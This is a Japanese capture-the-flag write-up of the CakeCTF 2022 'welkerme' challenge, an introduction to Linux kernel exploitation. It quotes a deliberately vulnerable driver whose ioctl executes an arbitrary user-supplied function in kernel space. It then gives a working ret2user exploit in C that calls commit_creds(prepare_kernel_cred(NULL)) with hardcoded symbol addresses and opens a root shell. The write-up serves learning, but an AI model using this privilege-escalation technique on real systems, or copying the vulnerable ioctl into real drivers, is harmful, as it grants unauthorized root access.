kernel exploit 入門

CakeCTF2022にて、カーネルエクスプロイトの入門的な良問が出題された。
(丁寧なヒントとexploitのテンプレが予め用意されてる)

カーネルエクスプロイトに関する日本語の貴重な資料:

pawnyable.cafe

問題

このOSは脆弱なカーネルモジュールを実行している:

[ welkerme - CakeCTF 2022 ]
/ $ lsmod
Module                  Size  Used by    Tainted: G  
driver                 16384  0 

ドライバのソースコード

#include <linux/cdev.h>
#include <linux/fs.h>
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/random.h>
#include <linux/slab.h>
#include <linux/uaccess.h>

MODULE_LICENSE("GPL");
MODULE_AUTHOR("ptr-yudai");
MODULE_DESCRIPTION("welkerme - CakeCTF 2022");

#define DEVICE_NAME "welkerme"
#define CMD_ECHO 0xc0de0001
#define CMD_EXEC 0xc0de0002

static int module_open(struct inode *inode, struct file *filp) {
  printk("'module_open' called\n");
  return 0;
}

static int module_close(struct inode *inode, struct file *filp) {
  printk("'module_close' called\n");
  return 0;
}

static long module_ioctl(struct file *filp,
                         unsigned int cmd,
                         unsigned long arg) {
  long (*code)(void);
  printk("'module_ioctl' called with cmd=0x%08x\n", cmd);

  switch (cmd) {
    case CMD_ECHO:
      printk("CMD_ECHO: arg=0x%016lx\n", arg);
      return arg;

    case CMD_EXEC:
      printk("CMD_EXEC: arg=0x%016lx\n", arg);
      code = (long (*)(void))(arg);
      return code();

    default:
      return -EINVAL;
  }
}

static struct file_operations module_fops = {
  .owner   = THIS_MODULE,
  .open    = module_open,
  .release = module_close,
  .unlocked_ioctl = module_ioctl
};

static dev_t dev_id;
static struct cdev c_dev;

static int __init module_initialize(void)
{
  if (alloc_chrdev_region(&dev_id, 0, 1, DEVICE_NAME))
    return -EBUSY;

  cdev_init(&c_dev, &module_fops);
  c_dev.owner = THIS_MODULE;

  if (cdev_add(&c_dev, dev_id, 1)) {
    unregister_chrdev_region(dev_id, 1);
    return -EBUSY;
  }

  return 0;
}

static void __exit module_cleanup(void)
{
  cdev_del(&c_dev);
  unregister_chrdev_region(dev_id, 1);
}

module_init(module_initialize);
module_exit(module_cleanup);

詳しくはptr-yudaiさんの資料(ret2user)に詳しく書いてあるが、権限昇格のためにカーネル空間で次を実行すればよい:

commit_creds(prepare_kernel_cred(NULL));

prepare_kernel_cred(NULL)は最も高い権限で新しい認証情報を作成する。commit_creds(cred)は認証情報を呼び出し元プロセスに設定する。

それらのアドレスは/proc/kallsyncに記述されている:

/ # grep prepare_kernel_cred /proc/kallsyms 
ffffffff810726e0 T prepare_kernel_cred

/ # grep commit_creds /proc/kallsyms 
ffffffff81072540 T commit_creds

exploit.cの関数funcは、CMD_EXECによってカーネル空間で実行されています」とヒントにあるように、ドライバが渡した関数をroot権限で実行する脆弱性がある。

だから、commit_creds(prepare_kernel_cred(NULL));を実行後シェルを起動してやればそれはroot権限のシェルということ。

以下exploit:

#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h>

#define CMD_ECHO 0xc0de0001
#define CMD_EXEC 0xc0de0002

int func(void) {  // 以下の3行を追加
  void *(*prepare_kernel_cred)(void *) = 0xffffffff810726e0;
  void (*commit_creds)(void *) = 0xffffffff81072540; 
  commit_creds(prepare_kernel_cred(NULL));
  return 31337;
}

int main(void) {
  int fd, ret;

  if ((fd = open("/dev/welkerme", O_RDWR)) < 0) {
    perror("/dev/welkerme");
    exit(1);
  }

  ret = ioctl(fd, CMD_ECHO, 12345);
  printf("CMD_ECHO(12345) --> %d\n", ret);

  ret = ioctl(fd, CMD_EXEC, (long)func);
  printf("CMD_EXEC(func) --> %d\n", ret);

  close(fd);
  system("sh")  // この一行を追加してシェルを起動する
  return 0;
}

これをsprunge とか使ってターゲット上に送り実行する。

外国語の資料